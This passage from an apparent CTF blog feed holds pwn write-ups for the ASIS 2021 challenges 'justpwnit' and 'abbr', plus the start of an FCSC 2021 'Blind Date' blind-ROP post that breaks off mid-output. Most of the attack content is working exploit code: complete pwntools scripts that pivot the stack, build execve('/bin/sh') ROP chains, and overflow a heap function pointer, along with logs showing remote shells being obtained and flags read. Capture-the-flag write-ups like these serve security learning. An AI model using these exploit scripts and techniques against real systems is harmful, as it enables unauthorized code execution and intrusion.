&lt;p&gt;Then, if we do so, the stack&apos;s state looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;00:0000│ rsp     0x7ffef03864e0 ◂— 0x0                                                                                                                                                         
01:0008│         0x7ffef03864e8 —▸ 0x7ffef0386520 ◂— 0xb4                                                                                                                                      
02:0010│         0x7ffef03864f0 ◂— 0x0                                                                                                                                                         
03:0018│         0x7ffef03864f8 ◂— 0xfffffffe00403d3f /* &apos;?=@&apos; */                                                                                                                              
04:0020│         0x7ffef0386500 ◂— 0x0                                                                                                                                                         
05:0028│         0x7ffef0386508 —▸ 0x40123d (main) ◂— endbr64                                                                                                                                  
06:0030│ rbx rbp 0x7ffef0386510 —▸ 0x7f2e4aea1050 ◂— 0x0                                                                                                                                       
07:0038│         0x7ffef0386518 —▸ 0x40122f (justpwnit+33) ◂— add    dword ptr [rbp - 4], 1                                                                                                    
08:0040│         0x7ffef0386520 ◂— 0xb4                                                                                                                                                        
09:0048│         0x7ffef0386528 ◂— 0x0                                                                                                                                                         
... ↓            4 skipped                                                                                                                                                                     
0e:0070│         0x7ffef0386550 —▸ 0x7ffef0386560 ◂— 0x1                                                                                                                                       
0f:0078│         0x7ffef0386558 —▸ 0x401295 (main+88) ◂— mov    eax, 0                                                                                                                         
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The saved &lt;code&gt;$rbp&lt;/code&gt; has been overwritten with a pointer to the user input. Then, at the end of the &lt;code&gt;set_element&lt;/code&gt; function, &lt;code&gt;$rbp&lt;/code&gt; is popped from the stack and contains a pointer to the user input. Which causes at the end of the &lt;code&gt;justpwnit&lt;/code&gt; function, the &lt;code&gt;leave&lt;/code&gt; instruction moves the pointer to the user input in &lt;code&gt;$rsp&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;ROPchain&lt;/h2&gt;
&lt;p&gt;Once we can pivot the stack to makes it point to some user controlled areas, we just have to rop through all the gadgets we can find in the binary.
The binary is statically linked, and there is no system function in the binary, so we can&apos;t make a ret2system, we have to make a &lt;code&gt;execve(&quot;/bin/sh\0&quot;, NULL, NULL)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;And so what we need is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;pop rdi gadget&lt;/li&gt;
&lt;li&gt;pop rsi gadget&lt;/li&gt;
&lt;li&gt;pop rdx gadget&lt;/li&gt;
&lt;li&gt;pop rax gadget&lt;/li&gt;
&lt;li&gt;syscall gadget&lt;/li&gt;
&lt;li&gt;mov qword ptr [reg], reg [to write &quot;/bin/sh\0&quot;] in a writable area&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We can easily find these gadgets with the help &lt;a href=&quot;https://github.com/JonathanSalwan/ROPgadget&quot;&gt;ROPgadget&lt;/a&gt;.
We got:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x0000000000406c32 : mov qword ptr [rax], rsi ; ret
0x0000000000401001 : pop rax ; ret
0x00000000004019a3 : pop rsi ; ret
0x00000000004013e9 : syscall
0x0000000000403d23 : pop rdx ; ret
0x0000000000401b0d : pop rdi ; ret
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we just have to craft the ropchain !&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POP_RDI = 0x0000000000401b0d
POP_RDX = 0x0000000000403d23
SYSCALL = 0x00000000004013e9
POP_RAX = 0x0000000000401001
POP_RSI = 0x00000000004019a3

MOV_RSI_PTR_RAX = 0x0000000000406c32
PT_LOAD_W = 0x00000000040c240

pld = pwn.p64(0) + pwn.p64(POP_RSI) + b&quot;/bin/sh\x00&quot;
pld += pwn.p64(POP_RAX) + pwn.p64(PT_LOAD_W)
pld += pwn.p64(MOV_RSI_PTR_RAX)
pld += pwn.p64(POP_RAX) + pwn.p64(0x3b)
pld += pwn.p64(POP_RDI) + pwn.p64(PT_LOAD_W)
pld += pwn.p64(POP_RSI) + pwn.p64(0)
pld += pwn.p64(POP_RDX) + pwn.p64(0x0)
pld += pwn.p64(SYSCALL)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And we can enjoy the shell !&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  justpwnit git:(master) ✗ python3 exploit.py HOST=168.119.108.148 PORT=11010
[*] &apos;/home/nasm/pwn/asis2021/justpwnit/justpwnit&apos;
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 168.119.108.148 on port 11010: Done
[*] Switching to interactive mode
$ id
uid=999(pwn) gid=999(pwn) groups=999(pwn)
$ ls
chall
flag-69a1f60d8055c88ea27fed1ab926b2b6.txt
$ cat flag-69a1f60d8055c88ea27fed1ab926b2b6.txt
ASIS{p01nt_RSP_2_h34p!_RHP_1n5t34d_0f_RSP?}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Full exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python
# -*- coding: utf-8 -*-

# this exploit was generated via
# 1) pwntools
# 2) ctfinit

import os
import time
import pwn


# Set up pwntools for the correct architecture
exe  = pwn.context.binary = pwn.ELF(&apos;justpwnit&apos;)
pwn.context.delete_corefiles = True
pwn.context.rename_corefiles = False

host = pwn.args.HOST
port = int(pwn.args.PORT or 1337)

def local(argv=[], *a, **kw):
    &apos;&apos;&apos;Execute the target binary locally&apos;&apos;&apos;
    if pwn.args.GDB:
        return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return pwn.process([exe.path] + argv, *a, **kw)

def remote(argv=[], *a, **kw):
    &apos;&apos;&apos;Connect to the process on the remote host&apos;&apos;&apos;
    io = pwn.connect(host, port)
    if pwn.args.GDB:
        pwn.gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    &apos;&apos;&apos;Start the exploit against the target.&apos;&apos;&apos;
    if pwn.args.LOCAL:
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)
gdbscript = &apos;&apos;&apos;
source /media/nasm/7044d811-e1cd-4997-97d5-c08072ce9497/Downloads/pwndbg/gdbinit.py
set follow-fork-mode parent
b* main
continue
&apos;&apos;&apos;.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

io = start()
io.sendlineafter(b&quot;Index: &quot;, b&quot;-2&quot;)

# 0x0000000000406c32 : mov qword ptr [rax], rsi ; ret
# 0x0000000000401001 : pop rax ; ret
# 0x00000000004019a3 : pop rsi ; ret
# 0x00000000004013e9 : syscall
# 0x0000000000403d23 : pop rdx ; ret
# 0x0000000000401b0d : pop rdi ; ret

POP_RDI = 0x0000000000401b0d
POP_RDX = 0x0000000000403d23
SYSCALL = 0x00000000004013e9
POP_RAX = 0x0000000000401001
POP_RSI = 0x00000000004019a3

MOV_RSI_PTR_RAX = 0x0000000000406c32

PT_LOAD_W = 0x00000000040c240

pld = pwn.p64(0) + pwn.p64(POP_RSI) + b&quot;/bin/sh\x00&quot;
pld += pwn.p64(POP_RAX) + pwn.p64(PT_LOAD_W)
pld += pwn.p64(MOV_RSI_PTR_RAX)
pld += pwn.p64(POP_RAX) + pwn.p64(0x3b)
pld += pwn.p64(POP_RDI) + pwn.p64(PT_LOAD_W)
pld += pwn.p64(POP_RSI) + pwn.p64(0)
pld += pwn.p64(POP_RDX) + pwn.p64(0x0)
pld += pwn.p64(SYSCALL)

io.sendlineafter(b&quot;Data: &quot;, pld)

io.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;abbr&lt;/h1&gt;
&lt;p&gt;abbr is very basic heap overflow, we just have to overwrite a function pointer to a stack pivot gadget with the help of a user controlled register. Then, we can drop a shell with a similar ROP as for the &lt;code&gt;justpwnit&lt;/code&gt; challenge (the binary is also statically linked without the system function).&lt;/p&gt;
&lt;p&gt;Here is the source code:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;ctype.h&amp;gt;
#include &quot;rules.h&quot;

typedef struct Translator {
  void (*translate)(char*);
  char *text;
  int size;
} Translator;

void english_expand(char *text) {
  int i, alen, blen;
  Rule *r;
  char *p, *q;
  char *end = &amp;amp;text[strlen(text)-1]; // pointer to the last character

  /* Replace all abbreviations */
  for (p = text; *p; ++p) {
    for (i = 0; i &amp;lt; sizeof(rules) / sizeof(Rule); i++) {
      r = &amp;amp;rules[i];
      alen = strlen(r-&amp;gt;a);
      blen = strlen(r-&amp;gt;b);
      if (strncasecmp(p, r-&amp;gt;a, alen) == 0) {
        // i.e &quot;i&apos;m pwn noob.&quot; --&amp;gt; &quot;i&apos;m pwn XXnoob.&quot;
        for (q = end; q &amp;gt; p; --q)
          *(q+blen-alen) = *q;
        // Update end
        end += blen-alen;
        *(end+1) = &apos;\0&apos;;
        // i.e &quot;i&apos;m pwn XXnoob.&quot; --&amp;gt; &quot;i&apos;m pwn newbie.&quot;
        memcpy(p, r-&amp;gt;b, blen);
      }
    }
  }
}

Translator *translator_new(int size) {
  Translator *t;

  /* Allocate region for text */
  char *text = (char*)calloc(sizeof(char), size);
  if (text == NULL)
    return NULL;

  /* Initialize translator */
  t = (Translator*)malloc(sizeof(Translator));
  t-&amp;gt;text = text;
  t-&amp;gt;size = size;
  t-&amp;gt;translate = english_expand;

  return t;
}

void translator_reset(Translator *t) {
  memset(t-&amp;gt;text, 0, t-&amp;gt;size);
}

int main() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(60);

  Translator *t = translator_new(0x1000);
  while (1) {
    /* Input data */
    translator_reset(t);
    printf(&quot;Enter text: &quot;);
    fgets(t-&amp;gt;text, t-&amp;gt;size, stdin);
    if (t-&amp;gt;text[0] == &apos;\n&apos;)
      break;

    /* Expand abbreviation */
    t-&amp;gt;translate(t-&amp;gt;text);
    printf(&quot;Result: %s&quot;, t-&amp;gt;text);
  }

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;rules.h&lt;/code&gt; looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;typedef struct {
  char *a; // abbreviated string (i.e &quot;asap&quot;)
  char *b; // expanded string (i.e &quot;as soon as possible&quot;)
} Rule;

// Why are there so many abbreviations in English!!?? :exploding_head:
Rule rules[] =
  {
   {.a=&quot;2f4u&quot;, .b=&quot;too fast for you&quot;},
   {.a=&quot;4yeo&quot;, .b=&quot;for your eyes only&quot;},
   {.a=&quot;fyeo&quot;, .b=&quot;for your eyes only&quot;},
   {.a=&quot;aamof&quot;, .b=&quot;as a matter of fact&quot;},
   {.a=&quot;afaik&quot;, .b=&quot;as far as i know&quot;},
   {.a=&quot;afk&quot;, .b=&quot;away from keyboard&quot;},
   {.a=&quot;aka&quot;, .b=&quot;also known as&quot;},
   {.a=&quot;b2k&quot;, .b=&quot;back to keyboard&quot;},
   {.a=&quot;btk&quot;, .b=&quot;back to keyboard&quot;},
   {.a=&quot;btt&quot;, .b=&quot;back to topic&quot;},
   {.a=&quot;btw&quot;, .b=&quot;by the way&quot;},
   {.a=&quot;b/c&quot;, .b=&quot;because&quot;},
   {.a=&quot;c&amp;amp;p&quot;, .b=&quot;copy and paste&quot;},
   {.a=&quot;cys&quot;, .b=&quot;check your settings&quot;},
   {.a=&quot;diy&quot;, .b=&quot;do it yourself&quot;},
   {.a=&quot;eobd&quot;, .b=&quot;end of business day&quot;},
   {.a=&quot;faq&quot;, .b=&quot;frequently asked questions&quot;},
   {.a=&quot;fka&quot;, .b=&quot;formerly known as&quot;},
   {.a=&quot;fwiw&quot;, .b=&quot;for what it&apos;s worth&quot;},
   {.a=&quot;fyi&quot;, .b=&quot;for your information&quot;},
   {.a=&quot;jfyi&quot;, .b=&quot;just for your information&quot;},
   {.a=&quot;hf&quot;, .b=&quot;have fun&quot;},
   {.a=&quot;hth&quot;, .b=&quot;hope this helps&quot;},
   {.a=&quot;idk&quot;, .b=&quot;i don&apos;t know&quot;},
   {.a=&quot;iirc&quot;, .b=&quot;if i remember correctly&quot;},
   {.a=&quot;imho&quot;, .b=&quot;in my humble opinion&quot;},
   {.a=&quot;imo&quot;, .b=&quot;in my opinion&quot;},
   {.a=&quot;imnsho&quot;, .b=&quot;in my not so humble opinion&quot;},
   {.a=&quot;iow&quot;, .b=&quot;in other words&quot;},
   {.a=&quot;itt&quot;, .b=&quot;in this thread&quot;},
   {.a=&quot;dgmw&quot;, .b=&quot;don&apos;t get me wrong&quot;},
   {.a=&quot;mmw&quot;, .b=&quot;mark my words&quot;},
   {.a=&quot;nntr&quot;, .b=&quot;no need to reply&quot;},
   {.a=&quot;noob&quot;, .b=&quot;newbie&quot;},
   {.a=&quot;noyb&quot;, .b=&quot;none of your business&quot;},
   {.a=&quot;nrn&quot;, .b=&quot;no reply necessary&quot;},
   {.a=&quot;otoh&quot;, .b=&quot;on the other hand&quot;},
   {.a=&quot;rtfm&quot;, .b=&quot;read the fine manual&quot;},
   {.a=&quot;scnr&quot;, .b=&quot;sorry, could not resist&quot;},
   {.a=&quot;sflr&quot;, .b=&quot;sorry for late reply&quot;},
   {.a=&quot;tba&quot;, .b=&quot;to be announced&quot;},
   {.a=&quot;tbc&quot;, .b=&quot;to be continued&quot;},
   {.a=&quot;tia&quot;, .b=&quot;thanks in advance&quot;},
   {.a=&quot;tq&quot;, .b=&quot;thank you&quot;},
   {.a=&quot;tyvm&quot;, .b=&quot;thank you very much&quot;},
   {.a=&quot;tyt&quot;, .b=&quot;take your time&quot;},
   {.a=&quot;ttyl&quot;, .b=&quot;talk to you later&quot;},
   {.a=&quot;wfm&quot;, .b=&quot;works for me&quot;},
   {.a=&quot;wtf&quot;, .b=&quot;what the fuck&quot;},
   {.a=&quot;wrt&quot;, .b=&quot;with regard to&quot;},
   {.a=&quot;ymmd&quot;, .b=&quot;you made my day&quot;},
   {.a=&quot;icymi&quot;, .b=&quot;in case you missed it&quot;},
   // pwners abbreviations
   {.a=&quot;rop &quot;, .b=&quot;return oriented programming &quot;},
   {.a=&quot;jop &quot;, .b=&quot;jump oriented programming &quot;},
   {.a=&quot;cop &quot;, .b=&quot;call oriented programming &quot;},
   {.a=&quot;aar&quot;, .b=&quot;arbitrary address read&quot;},
   {.a=&quot;aaw&quot;, .b=&quot;arbitrary address write&quot;},
   {.a=&quot;www&quot;, .b=&quot;write what where&quot;},
   {.a=&quot;oob&quot;, .b=&quot;out of bounds&quot;},
   {.a=&quot;ret2&quot;, .b=&quot;return to &quot;},
  };
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The main stuff is in &lt;code&gt;english_expand&lt;/code&gt; function which is looking for an abreviation in the user input. If it finds the abbreviation, all the data after the occurence will be written further according to the length of the full expression.
The attack idea is fairly simple, the &lt;code&gt;text&lt;/code&gt; variable is allocated right before the &lt;code&gt;Translator&lt;/code&gt; structure, and so in the heap they will be contiguous. Given that, we know that if we send 0x1000 bytes in the chunk contained by &lt;code&gt;text&lt;/code&gt; and that we put an abbreviation of the right length we can overwrite the &lt;code&gt;translate&lt;/code&gt; function pointer.&lt;/p&gt;
&lt;p&gt;I will not describe in details how we can find the right size for the abbreviation or the length off the necessary padding.
An interesting abbreviation is the &lt;code&gt;www&lt;/code&gt;, which stands for &quot;write what where&quot; (what a nice abbreviation for a pwner lmao), indeed the expanded expression has a length of 16 bytes.
So we send &lt;code&gt;b&quot;wwwwww&quot; + b&quot;A&quot;*(0x1000-16) + pwn.p64(gadget)&lt;/code&gt;, we will overflow the 32 first bytes next the &lt;code&gt;text&lt;/code&gt; chunk, and in this rewrite the &lt;code&gt;translator&lt;/code&gt; function pointer.&lt;/p&gt;
&lt;h2&gt;ROPchain&lt;/h2&gt;
&lt;p&gt;Once that&apos;s done, when the function pointer will be triggered at the next iteration, we will be able to jmp at an arbitrary location.
Lets take a look at the values of the registers when we trigger the function pointer:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; RAX  0x1ee8bc0 —▸ 0x4018da (init_cacheinfo+234) ◂— pop    rdi
 RBX  0x400530 (_IO_getdelim.cold+29) ◂— 0x0
 RCX  0x459e62 (read+18) ◂— cmp    rax, -0x1000 /* &apos;H=&apos; */
*RDX  0x405121 (_nl_load_domain+737) ◂— xchg   eax, esp
 RDI  0x1ee8bc0 —▸ 0x4018da (init_cacheinfo+234) ◂— pop    rdi
 RSI  0x4c9943 (_IO_2_1_stdin_+131) ◂— 0x4cc020000000000a /* &apos;\n&apos; */
 R8   0x1ee8bc0 —▸ 0x4018da (init_cacheinfo+234) ◂— pop    rdi
 R9   0x0
 R10  0x49e522 ◂— &apos;Enter text: &apos;
 R11  0x246
 R12  0x4030e0 (__libc_csu_fini) ◂— endbr64 
 R13  0x0
 R14  0x4c9018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0x44fd90 (__strcpy_avx2) ◂— endbr64 
 R15  0x0
 RBP  0x7ffdef1b8230 —▸ 0x403040 (__libc_csu_init) ◂— endbr64 
 RSP  0x7ffdef1b8220 ◂— 0x0
 RIP  0x402036 (main+190) ◂— call   rdx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;$rax&lt;/code&gt; points to the newly readen input, same for &lt;code&gt;$r8&lt;/code&gt; and &lt;code&gt;$rdi&lt;/code&gt; and &lt;code&gt;$rdx&lt;/code&gt; contains the location to which we will jmp on.
So we can search gadgets like &lt;code&gt;mov rsp, rax&lt;/code&gt;, &lt;code&gt;mov rsp, rdi&lt;/code&gt;, &lt;code&gt;mov rsp, r8&lt;/code&gt; and so on. But I didn&apos;t find any gadgets like that, so I looked for &lt;code&gt;xchg rsp&lt;/code&gt; gadgets, and I finally found a &lt;code&gt;xchg eax, esp&lt;/code&gt; gadgets ! Since the binary is not PIE based, the heap addresses fit into a 32 bits register, so that&apos;s perfect!&lt;/p&gt;
&lt;p&gt;Now we can make &lt;code&gt;$rsp&lt;/code&gt; to point to the user input, we make a similar ropchain as the last challenge, and that&apos;s enough to get a shell!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
# 0x00000000004126e3 : call qword ptr [rax]
# 0x0000000000485fd2 : xchg eax, ebp ; ret
# 0x0000000000405121 : xchg eax, esp ; ret

pld = b&quot;wwwwww&quot;
pld += b&quot;A&quot;*(0x1000-16) + pwn.p64(0x0000000000405121)
io.sendlineafter(&quot;Enter text: &quot;, pld)

# 0x000000000045a8f7 : pop rax ; ret
# 0x0000000000404cfe : pop rsi ; ret
# 0x00000000004018da : pop rdi ; ret
# 0x00000000004017df : pop rdx ; ret
# 0x000000000045684f : mov qword ptr [rdi], rsi ; ret

DATA_SEC = 0x0000000004c90e0
POP_RDI = 0x00000000004018da
POP_RSI = 0x0000000000404cfe
POP_RAX = 0x000000000045a8f7
POP_RDX = 0x00000000004017df
MOV_PTR_RDI_RSI = 0x000000000045684f
SYSCALL = 0x00000000004012e3 # syscall

pld = pwn.p64(POP_RDI)
pld += pwn.p64(DATA_SEC)
pld += pwn.p64(POP_RSI)
pld += b&quot;/bin/sh\x00&quot;
pld += pwn.p64(MOV_PTR_RDI_RSI)
pld += pwn.p64(POP_RSI)
pld += pwn.p64(0x0)
pld += pwn.p64(POP_RDX)
pld += pwn.p64(0x0)
pld += pwn.p64(POP_RAX)
pld += pwn.p64(0x3b)
pld += pwn.p64(SYSCALL)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We launch the script with the right arguments and we correctly pop a shell!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  abbr.d git:(master) ✗ python3 exploit.py HOST=168.119.108.148 PORT=10010 
[*] &apos;/home/nasm/pwn/asis2021/abbr.d/abbr&apos;
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 168.119.108.148 on port 10010: Done
/home/nasm/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[*] Switching to interactive mode
$ id
uid=999(pwn) gid=999(pwn) groups=999(pwn)
$ ls
chall
flag-5db495dbd5a2ad0c090b1cc11e7ee255.txt
$ cat flag-5db495dbd5a2ad0c090b1cc11e7ee255.txt
ASIS{d1d_u_kn0w_ASIS_1s_n0t_4n_4bbr3v14t10n}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Final exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python
# -*- coding: utf-8 -*-

# this exploit was generated via
# 1) pwntools
# 2) ctfinit

import os
import time
import pwn


# Set up pwntools for the correct architecture
exe  = pwn.context.binary = pwn.ELF(&apos;abbr&apos;)
pwn.context.delete_corefiles = True
pwn.context.rename_corefiles = False

host = pwn.args.HOST or &apos;127.0.0.1&apos;
port = int(pwn.args.PORT or 1337)

def local(argv=[], *a, **kw):
    &apos;&apos;&apos;Execute the target binary locally&apos;&apos;&apos;
    if pwn.args.GDB:
        return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return pwn.process([exe.path] + argv, *a, **kw)

def remote(argv=[], *a, **kw):
    &apos;&apos;&apos;Connect to the process on the remote host&apos;&apos;&apos;
    io = pwn.connect(host, port)
    if pwn.args.GDB:
        pwn.gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    &apos;&apos;&apos;Start the exploit against the target.&apos;&apos;&apos;
    if pwn.args.LOCAL:
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)

gdbscript = &apos;&apos;&apos;
source /media/nasm/7044d811-e1cd-4997-97d5-c08072ce9497/Downloads/pwndbg/gdbinit.py
b* 0x402036
continue
&apos;&apos;&apos;.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

io = start()

# 000000000048ac90    80 FUNC    GLOBAL DEFAULT    7 _dl_make_stack_executable
# 0x0000000000422930 : add rsp, 0x10 ; pop rbp ; ret

# 0x00000000004126e3 : call qword ptr [rax]
# 0x0000000000485fd2 : xchg eax, ebp ; ret
# 0x0000000000405121 : xchg eax, esp ; ret

pld = b&quot;wwwwww&quot;
pld += b&quot;A&quot;*(0x1000-16) + pwn.p64(0x0000000000405121)
io.sendlineafter(&quot;Enter text: &quot;, pld)

# 0x000000000045a8f7 : pop rax ; ret
# 0x0000000000404cfe : pop rsi ; ret
# 0x00000000004018da : pop rdi ; ret
# 0x00000000004017df : pop rdx ; ret
# 0x000000000045684f : mov qword ptr [rdi], rsi ; ret

DATA_SEC = 0x0000000004c90e0
POP_RDI = 0x00000000004018da
POP_RSI = 0x0000000000404cfe
POP_RAX = 0x000000000045a8f7
POP_RDX = 0x00000000004017df
MOV_PTR_RDI_RSI = 0x000000000045684f
SYSCALL = 0x00000000004012e3 # syscall

pld = pwn.p64(POP_RDI)
pld += pwn.p64(DATA_SEC)
pld += pwn.p64(POP_RSI)
pld += b&quot;/bin/sh\x00&quot;
pld += pwn.p64(MOV_PTR_RDI_RSI)
pld += pwn.p64(POP_RSI)
pld += pwn.p64(0x0)
pld += pwn.p64(POP_RDX)
pld += pwn.p64(0x0)
pld += pwn.p64(POP_RAX)
pld += pwn.p64(0x3b)
pld += pwn.p64(SYSCALL)

io.sendlineafter(&quot;Enter text: &quot;, pld)
io.interactive()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>[FCSC 2021 - pwn] Blind Date</title><link>https://n4sm.github.io/posts/blindate/</link><guid isPermaLink="true">https://n4sm.github.io/posts/blindate/</guid><description>Blind Date is a blind rop challenge I did during the FCSC event</description><pubDate>Mon, 03 May 2021 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Blind Date (489 pts)&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;Une société souhaite créer un service en ligne protégeant les informations de ses clients. Pouvez-vous leur montrer qu&apos;elle n&apos;est pas sûre en lisant le fichier flag.txt sur leur serveur ? Les gérants de cette société n&apos;ont pas souhaité vous donner ni le code source de leur solution, ni le binaire compilé, mais ils vous proposent uniquement un accès distant à leur service.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;nc challenges2.france-cybersecurity-challenge.fr 4008&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Blind Date is a blind rop challenge I did during the &lt;a href=&quot;https://www.france-cybersecurity-challenge.fr&quot;&gt;FCSC event&lt;/a&gt;.
So, no source code is provided, we juste have a netcat to which we can interact.&lt;/p&gt;
&lt;p&gt;To solve this challenge I juste read carefully &lt;a href=&quot;https://www.scs.stanford.edu/brop/bittau-brop.pdf&quot;&gt;this paper&lt;/a&gt; and applied one per one the techniques described.&lt;/p&gt;
&lt;h3&gt;Find the right offset&lt;/h3&gt;
&lt;p&gt;The first thing to do is to find from which offset the binary crashes, to do so I developped a small script:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3
from pwn import *

def start():
    return remote(&quot;challenges2.france-cybersecurity-challenge.fr&quot;, 4008)

def jmp(av):
    io = start()
    io.write(av)
    return io.recvall(timeout=5.0)

def find_padding(p=b&quot;&quot;):
    padding = p + b&quot;\x90&quot;
    print(f&quot;[*] sending: {padding}&quot;)
    resp = jmp(padding)
    print(f&quot;[*] recv: {resp}&quot;)
    while b&quot;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks &quot; + padding in resp:
        return find_padding(p=padding)
    return padding[:len(padding)-1] # minus one char because we do not want that padding overwrite the return address / canary / triggering a crash

print(len(find_padding()))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It&apos;s basically sending checking if the right string is always received, and when it&apos;s not the case it assumes the remote program crashed and return the corresponding padding. We do not check to see if it prints &lt;code&gt;Bye!&lt;/code&gt; right after the &lt;code&gt;Thanks input&lt;/code&gt; because it sounds to be a puts which prints NULL byte terminated strings which makes that we can overlap some local pointers and print them like below:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ ./solve.py
[*] sending: b&apos;\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90Bye!\n&apos;
[*] sending: b&apos;\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90Bye!\n&apos;
[*] sending: b&apos;\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90Bye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90Bye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90Bye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90\x90Bye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90\x90\x90Bye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90\x90\x90\x907:EL\xd3\x7fBye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\xda5r^\x7fBye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&apos;
[*] recv: b&quot;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&apos;\xad\xe9\x7fBye!\n&quot;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xd6\x97\x7fBye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xc1\x7fBye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x7fBye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&apos;
